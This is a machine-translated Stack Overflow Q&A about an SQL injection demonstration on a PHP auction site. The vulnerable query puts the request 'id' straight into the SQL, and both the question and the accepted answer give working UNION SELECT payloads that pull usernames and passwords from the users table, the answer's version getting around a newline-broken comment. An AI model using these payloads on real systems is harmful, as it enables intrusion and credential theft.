php - SQL 注入(inject)演示失败 - 注释字符因换行而失败

标签 php mysql sql sql-injection

晚上好 我的一个 friend 有一个网站是由一些二流开发人员开发的,现在我的任务是清理他们的工作。我试图向他展示他们制造的一些问题。在他的代码中,有这个确切的 block :

$id = $_REQUEST['id'];
//echo time();
$query = "SELECT cat_id,id,category,title,description,pict_url,minimum_bid,ends,cat_name,quantity,flag
              FROM " . $DBPrefix . "categories INNER JOIN ". $DBPrefix . "auctions 
              ON vesp_categories.cat_id=vesp_auctions.category where id=".$id." 
                          AND starts <= ".time()." AND suspended = 0";

(我知道,对吧?)

多重查询是不可能的——正在使用 mysql_query 并且没有被指示使用多重查询。我可以做一个工会:

?id=143 AND 1=0 union select null,null,null,nick,password,null,null,null,null,null,null from bidz_users limit 1,1-- -

但是 'AND 开始 <= ".time()"的事实。 AND suspended = 0"' 在一个新行上,打破了注释字符的效果,并且只返回一个 mysql 错误“你的 SQL 语法有错误;检查与您的 MySQL 服务器版本对应的手册,了解在第 4 行的“AND starts <= 1365321338 AND suspended = 0'附近使用的正确语法”

如果我删除查询中的换行符,效果很好,但具有足够访问权限来编辑他的 PHP 的攻击者可能不会为 SQL 注入(inject)而烦恼

有没有办法解决我的约束条件下的换行/注释掉问题?或者有人可以建议合适的替代方案吗?

PHP >= 5.2/MySQL

最佳答案

您需要确保您的注入(inject)仍然创建一个有效的语句。因此,您可以使用另一个 UNION SELECT 来修复剩余的语句部分:

143 AND 1=0 union select null,null,null,nick,password,null,null,null,null,null,null from bidz_users limit 1,1 union select * from (select null start,null suspended,null,null,null,null,null,null,null,null,null) t where 1=0

注意在子查询中指定匹配的列名,以便找到父 WHERE 子句中的列名。

如果您不需要 LIMIT 子句,您可以在第一个注入(inject)的 SELECT 中进行相同的修复。

关于php - SQL 注入(inject)演示失败 - 注释字符因换行而失败,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/15860352/

相关文章:

php - yii - 如何在 10 秒后重定向

c# - 从数据库中查找相似的人名

C# + MySQL prepared statement w/ON DUPLICATE KEY UPDATE 问题

php - 如何显示mysql数据库中的图像?

php - 如何使用 Idiorm 和 Paris 仅通过一个查询从关联表中检索信息?

php - 自动执行PHP脚本

javascript - 我希望当我单击编辑图像时可以使用编辑功能

mysql - 需要分隔单词的字符时,如何在MySQL中进行模糊搜索?

mysql - 在 MySQL 中按顺序、分组和按日期枚举记录

sql - 如何在 presto 中将列转换为数组